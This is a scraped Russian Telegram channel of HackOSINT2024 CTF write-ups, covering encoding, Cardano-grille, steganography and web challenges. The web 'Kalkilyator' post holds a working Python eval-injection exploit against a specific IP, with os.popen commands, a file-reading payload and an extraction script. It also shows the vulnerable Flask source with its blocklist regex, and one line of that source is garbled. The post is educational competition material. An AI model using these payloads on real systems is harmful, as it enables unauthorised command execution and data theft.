#crypto
HackOSINT
Бонусный трек
Билибизяка от @Max_RSC
Ссылка на задание
Сомневаюсь, что у кого-нибудь возникли трудности с первым этапом — это простейшее декодирование из binary. Инструмент Кибершеф, который для решения этого таска рекомендовали сами организаторы, автоматически определяет данную кодировку и любезно предлагает декодировать текст. Насколько я знаю, у большинства возникли трудности именно со вторым этапом.
Итак, после преобразования из binary мы получили непонятные 24 числа. Здесь надо применить рецепт From Float. Обратимся к документации Кибершефа и узнаем, какое преобразование производит этот рецепт:
IEEE754 — это стандарт, описывающий формат представления чисел с плавающей точкой. Используется, например, в компиляторах различных языков программирования.
Применяем рецепт From Float. Результат, который мы получили, не очень воодушевляет, но мы видим, что Кибершеф сразу подсказывает нам следующее преобразование: надо применить рецепт Gunzip. Делаем это и получаем строку в hex-нотации, которую Кибершеф снова предлагает нам декодировать, поначалу применив рецепт From Hex, а затем Url Decode. Так мы приходим к финальной строке, которая представляет собой стимовский урл:
иди решай задачу, не жульничай!
Идем по ссылке и находим флаг в имени юзера.
Кстати, кому-нибудь интересно, как выполнить преобразование From Float средствами Python? Если интересно, напишите об этом в комментариях — расскажу.
#HackOSINT2024
HackOSINT
Бонусный трек
Билибизяка от @Max_RSC
Ссылка на задание
Сомневаюсь, что у кого-нибудь возникли трудности с первым этапом — это простейшее декодирование из binary. Инструмент Кибершеф, который для решения этого таска рекомендовали сами организаторы, автоматически определяет данную кодировку и любезно предлагает декодировать текст. Насколько я знаю, у большинства возникли трудности именно со вторым этапом.
Итак, после преобразования из binary мы получили непонятные 24 числа. Здесь надо применить рецепт From Float. Обратимся к документации Кибершефа и узнаем, какое преобразование производит этот рецепт:
Convert from IEEE754 Floating Point Numbers
IEEE754 — это стандарт, описывающий формат представления чисел с плавающей точкой. Используется, например, в компиляторах различных языков программирования.
Применяем рецепт From Float. Результат, который мы получили, не очень воодушевляет, но мы видим, что Кибершеф сразу подсказывает нам следующее преобразование: надо применить рецепт Gunzip. Делаем это и получаем строку в hex-нотации, которую Кибершеф снова предлагает нам декодировать, поначалу применив рецепт From Hex, а затем Url Decode. Так мы приходим к финальной строке, которая представляет собой стимовский урл:
Идем по ссылке и находим флаг в имени юзера.
Кстати, кому-нибудь интересно, как выполнить преобразование From Float средствами Python? Если интересно, напишите об этом в комментариях — расскажу.
#HackOSINT2024
❤11🔥3👍2
#WEB
HackOSINT
Задание "Калькилятор" от t.me/the_tigor
Ссылка на задание
Пробуем запихнуть что-нибудь эдакое и видим в devtools браузера заголовок
Пробуем
Доставать результаты будем так
Пробуем пропихнуть
Узнаем что флаг валяется рядом и вытаскиваем его по частям, пропихивая свой пейлоад между суммой нулей и конвертируя в число куски по 6 байтов
Флагищи сам, хитрюшка!
Заодно вытащили
#HackOSINT2024
HackOSINT
Задание "Калькилятор" от t.me/the_tigor
Ссылка на задание
Пробуем запихнуть что-нибудь эдакое и видим в devtools браузера заголовок
Debug, в котором лежит регулярка !~(^(-\d|\d).*\d$|^\d$)Пробуем
0+int("1")+0, получаем 1.0, похоже там python eval, вполне ожидаемо, остается придумать как это эксплуатироватьДоставать результаты будем так
0+int.from_bytes("str".encode(),'big')+0, обратно конвертируем беря число и (7566450).to_bytes(6, 'big'). Если брать больше 6 байт, получается запись в scientific notation, можно конечно упаковать компактнее, но и так сойдетПробуем пропихнуть
__import__("os").popen, но не проходит, выясняем что дело в __. Но как быть? Оказывается import os написали уже за нас и можно дернуть os.popen("ls")Узнаем что флаг валяется рядом и вытаскиваем его по частям, пропихивая свой пейлоад между суммой нулей и конвертируя в число куски по 6 байтов
Флаг
Заодно вытащили
app.py но там ничего интересного. Забанены не только __, но и r'.*?([sS][yY][sS][tT][eE][mM]|[sS][hH]|[rR][mM]|[eE][xX][eE][cC]|__).*?' Почему автор таска не юзал re.I вопрос открытый)
from flask import Flask, render_template_string, request, Response
import re
import os
app = Flask(__name__)
html = '''<!DOCTYPE html>
<html>
<head>
<title>Silly Calculator</title>
<style>
body {
font-family: Arial, sans-serif;
display: flex;
text-align: center;
justify-content: center;
align-items: center;
height: 100vh;
margin: 0;
flex-direction: column;
background-color: lightblue; /* ÐлÑпÑй ÑÐ²ÐµÑ Ñона */
}
h1 {
font-size: 5em;
}
input {
width: 200px;
height: 30px;
font-size: 1.5em;
}
</style>
</head>
<body>
<h1>Silly Calculator</h1>
<div>
<form method="GET">
<input style="width:10em;margin:.5em" type="text" name="statement">
<input value="=" style="width: 2em; margin:.5em" type="submit">
</form>
<h2>%s</h2>
</div>
</body>
</html>'''
@app.route("/", methods=['GET'])
def hello_world():
statement = request.args.get('statement')
if statement:
if re.match(r'.*?([sS][yY][sS][tT][eE][mM]|[sS][hH]|[rR][mM]|[eE][xX][eE][cC]|__).*?', statement):
answer = 'invalid input'
debug = 'Input Filtered'
resp = Response(html % answer)
resp.headers["Debug"] = debug
return resp
elif not re.match(r'(^(-\d|\d).*\d$|^\d$)', statement):
answer = 'invalid input'
debug = '!~(^(-\d|\d).*\d$|^\d$)'
resp = Response(html % answer)
resp.headers["Debug"] = debug
return resp
else:
try:
answer = eval(statement)
answer = float(answer)
resp = Response(html % answer)
resp.headers["Debug"] = answer
return resp
except Exception as e:
answer = 'invalid input'
debug = e
resp = Response(html % answer)
resp.headers["Debug"] = debug
return resp
else:
resp = Response(html % '')
return resp
ifdebug = '!== '__main__':
app.run(host='127.0.0.1', port=5000)
pass
import requests
from bs4 import BeautifulSoup
from urllib.parse import quote
import time
def exec(command, count=1024):
for i in range(count):
time.sleep(1)
statement = f"0+int.from_bytes({command}[{str(i*6)}:{str(i*6+6)}],'big')+0"
url = f'http://91.200.84.50/?statement={quote(statement)}'
req = requests.get(url)
soup = BeautifulSoup(req.text)
data = soup.find('h2').text
num = int(data.split(".")[0])
if num == 0:
return
print(num.to_bytes(6, 'big').decode('utf-8'), end="")
# exec("open('/start.sh', 'rb').read()")
# exec("os.popen('ls /').read().encode()")
# exec("os.popen('touch t').read().encode()")
#HackOSINT2024
Telegram
Жека Тигор
кот, мемы, гиковские приколы и белградский лайфстайл
Все сказанное тут - личное мнение автора
Все сказанное тут - личное мнение автора
❤5
SI team.pdf
23 MB
Все привет! ❤️
Я наконец-то замазал все (почти) флаги и выбрал ТОП 3 отчета на мой субъективный взгляд
1 место EXE.1sior, если быть, то лучшим во всем и это про вас!
50USDT ваши, скиньте мне ваш кошелек
2 место XLS Team, просто хорошо, ну вот хорошо и все!
Получаете фирменные значки на всю команду. Скажите куда отправить
3 место SI team, за много букв, старались
И вам значки отправлю, в следующий раз прям постарайтесь, есть куда стремиться
Я хочу сказать всем спасибо, кто поделился райтами
@collapsz, @GorgonzolaCTF, @dontunique, @Bbggleave, w33d, @Rean1mat0r
Вы реальные кибер-котлеты, вносите большой вклад в развитие нашего уютненького, не токсичного, образовательного сообщества 😇
#HackOSINT2024
Я наконец-то замазал все (почти) флаги и выбрал ТОП 3 отчета на мой субъективный взгляд
1 место EXE.1sior, если быть, то лучшим во всем и это про вас!
50USDT ваши, скиньте мне ваш кошелек
2 место XLS Team, просто хорошо, ну вот хорошо и все!
Получаете фирменные значки на всю команду. Скажите куда отправить
3 место SI team, за много букв, старались
И вам значки отправлю, в следующий раз прям постарайтесь, есть куда стремиться
Я хочу сказать всем спасибо, кто поделился райтами
@collapsz, @GorgonzolaCTF, @dontunique, @Bbggleave, w33d, @Rean1mat0r
Вы реальные кибер-котлеты, вносите большой вклад в развитие нашего уютненького, не токсичного, образовательного сообщества 😇
#HackOSINT2024
🔥12👍2
#crypto
Тык-тык от @Max_RSC
Кратко: решетка Кардано. Зная формат флага (первые шесть символов ключа), можно расшифровать флаг без знания ключа.
Посмотрим на таблицу замен:
Выполняем преобразование в соответствии с таблицей замен:
Обратимся к подсказке: "Что-то с дырками и крутится". Сразу приходит на ум решетка Кардано.
Немного истории. Решетка Кардано — исторически первая известная шифровальная решетка. Этот метод шифрования был изобретен в XVI веке итальянским математиком и инженером Джероламо Кардано. Кстати, именно он впервые описал карданный вал, названный в его честь.
Метод шифрования, который предложил Джероламо Кардано, можно отнести к классу перестановочных шифров. Задачки, в которых фигурирует решетка Кардано, мы еще не раз встретим на различных CTF.
Для решения таска воспользуемся сервисом:
https://merri.cx/enigmator/cipher/grille.html
Указываем формат решетки (Grille Size). Поскольку длина шифртекста составляет 36 символов, нетрудно догадаться, что формат решетки — 6x6.
Вводим шифртекст в строку Cipher Text. Вводим ключ в строку Grille. Напомню, мы знаем первые шесть символов ключа — B0NU${. Нажимаем Decrypt.
# здесь должна быть картинка, прикрепленная к посту
Флаг пока нечитаем. Неудивительно, ведь мы указали всего 6 символов ключа. Какова длина ключа? Очевидно, что это число, на которое 36 делится без остатка – 9 и нам осталось подобрать 3 символа.
На четвертой строке сразу после символа '{' идет символ '_', при этом два раза подряд, но флаг не может начинаться с символа '_', поэтому исключаем первые две клетки. На шестой строке расположился символ '}' — исключаем эту клетку, потому что именно фигурной скобкой заканчивается флаг.
Осталось 9 символов, из которых нужно выбрать 3. Попробуем составить осмысленные слова из символов, которые нам доступны. Единственное, что приходит в голову — это W0W. В CTF с этого междометия нередко начинаются флаги. Сделаем предположение, что первое слово флага — это W0W. W0W можно составить всего двумя способами, один из которых сразу отобразит флаг.
#HackOSINT2024
Тык-тык от @Max_RSC
Кратко: решетка Кардано. Зная формат флага (первые шесть символов ключа), можно расшифровать флаг без знания ключа.
Посмотрим на таблицу замен:
6 > $
7 > {
8 > _
9 > }
Выполняем преобразование в соответствии с таблицей замен:
RB_01BWWD{NH_}U4_T$T14{__04W_0G04}WWОбратимся к подсказке: "Что-то с дырками и крутится". Сразу приходит на ум решетка Кардано.
Немного истории. Решетка Кардано — исторически первая известная шифровальная решетка. Этот метод шифрования был изобретен в XVI веке итальянским математиком и инженером Джероламо Кардано. Кстати, именно он впервые описал карданный вал, названный в его честь.
Метод шифрования, который предложил Джероламо Кардано, можно отнести к классу перестановочных шифров. Задачки, в которых фигурирует решетка Кардано, мы еще не раз встретим на различных CTF.
Для решения таска воспользуемся сервисом:
https://merri.cx/enigmator/cipher/grille.html
Указываем формат решетки (Grille Size). Поскольку длина шифртекста составляет 36 символов, нетрудно догадаться, что формат решетки — 6x6.
Вводим шифртекст в строку Cipher Text. Вводим ключ в строку Grille. Напомню, мы знаем первые шесть символов ключа — B0NU${. Нажимаем Decrypt.
# здесь должна быть картинка, прикрепленная к посту
Флаг пока нечитаем. Неудивительно, ведь мы указали всего 6 символов ключа. Какова длина ключа? Очевидно, что это число, на которое 36 делится без остатка – 9 и нам осталось подобрать 3 символа.
На четвертой строке сразу после символа '{' идет символ '_', при этом два раза подряд, но флаг не может начинаться с символа '_', поэтому исключаем первые две клетки. На шестой строке расположился символ '}' — исключаем эту клетку, потому что именно фигурной скобкой заканчивается флаг.
Осталось 9 символов, из которых нужно выбрать 3. Попробуем составить осмысленные слова из символов, которые нам доступны. Единственное, что приходит в голову — это W0W. В CTF с этого междометия нередко начинаются флаги. Сделаем предположение, что первое слово флага — это W0W. W0W можно составить всего двумя способами, один из которых сразу отобразит флаг.
#HackOSINT2024
🔥11❤4👍1
Райтапы по CTF{2025}
Ребята все остальные кто присылал мне отчёты с райтапами. Не переживайте, я ваши обязательно выложу и процитирую, только позже
w33d+.pdf
3.6 MB
Всем привет! Как и обещал, докидываю остальные отчетики
#HackOSINT2024
#HackOSINT2024
👍9❤2
#writeup #misc
Discard от @Max_RSC
Дан шестнадцатеричный дамп. Назовем его stegofile и обратим:
Посмотрим, что мы получили:
Эта непонятная последовательность символов представляет собой примитивный шифр ROT-47. Чтобы перевести ROT-47 в ASCII, воспользуемся замечательным сервисом dCode:
Мы получили ссылку. Нетрудно догадаться, куда она ведет. Переходим.
Мы пришли на Discord-сервер, который называется CTF. Похоже, что здесь множество чатов. Неужели нужно идти в каждый? Нет. Организаторы оставили подсказку: "25". Вспомним другую подсказку: "Го в войс". Может быть, в 25-м по счету чате войса находится скрытое послание? На сервере два войса, поэтому мне пришлось проверить 25-е чаты в обоих. В первом чате не оказалось ничего, зато во втором было прикреплено вложение – архив WoW.zip.
Скачиваем и распаковываем архив. Мы получили файл WoW.img. На первый взгляд дан файл образа диска, но выполнив:
...мы поймем, что на самом деле это картинка с расширением .png. Утилита binwalk сообщает, что в картинкe спрятан архив. Достаем егo:
В архиве находится текстовый документ, который начинается со слов "Snow may be the only thing...". Слово "snow" наводит на мысль, что мы имеем дело со стеганографией и нужно использовать инструмент stegsnow.
Выполняем эту команду и получаем флаг.
#HackOsint2024
Discard от @Max_RSC
Дан шестнадцатеричный дамп. Назовем его stegofile и обратим:
xxd -r stegofile > res
Посмотрим, что мы получили:
cat res
Эта непонятная последовательность символов представляет собой примитивный шифр ROT-47. Чтобы перевести ROT-47 в ASCII, воспользуемся замечательным сервисом dCode:
https://www.dcode.fr/rot-47-cipher
Мы получили ссылку. Нетрудно догадаться, куда она ведет. Переходим.
Мы пришли на Discord-сервер, который называется CTF. Похоже, что здесь множество чатов. Неужели нужно идти в каждый? Нет. Организаторы оставили подсказку: "25". Вспомним другую подсказку: "Го в войс". Может быть, в 25-м по счету чате войса находится скрытое послание? На сервере два войса, поэтому мне пришлось проверить 25-е чаты в обоих. В первом чате не оказалось ничего, зато во втором было прикреплено вложение – архив WoW.zip.
Скачиваем и распаковываем архив. Мы получили файл WoW.img. На первый взгляд дан файл образа диска, но выполнив:
file WoW.img
...мы поймем, что на самом деле это картинка с расширением .png. Утилита binwalk сообщает, что в картинкe спрятан архив. Достаем егo:
binwalk --dd='.*' WoW.img
В архиве находится текстовый документ, который начинается со слов "Snow may be the only thing...". Слово "snow" наводит на мысль, что мы имеем дело со стеганографией и нужно использовать инструмент stegsnow.
stegsnow -C WhatLiesInside.txt
Выполняем эту команду и получаем флаг.
#HackOsint2024
❤12
#HackOSINT2024, #kubanctf2024, #КубокCTF2024, #RedShift2024, #SpookyCTF2024, #чемпионатпервенство2024, #VolgaCTF_2025 #tctf2025
#standoff365, #codebygames, #taipanbyte, #polyctf
бот в котором собраны все задачи, где их можно решать и получать баллы: @writeup_ctf_bot
#таск@writeup_ctf
#рекомендация@writeup_ctf #мемы, #полезное
обнял и жму краба
Please open Telegram to view this post
VIEW IN TELEGRAM
Telegram
Решение задачек по CTF{2025}
❤️ Ламповый чатик для котяток и кибер-котлеток
👉 Уютное сообщество для публикации райтапов с разных CTF соревнований и платформ: @writeup_ctf
👉 Наши таски тут: @writeup_ctf_bot
Правила чата: https://telegra.ph/writeup-chat-rules-06-04
👉 Уютное сообщество для публикации райтапов с разных CTF соревнований и платформ: @writeup_ctf
👉 Наши таски тут: @writeup_ctf_bot
Правила чата: https://telegra.ph/writeup-chat-rules-06-04
🔥11❤1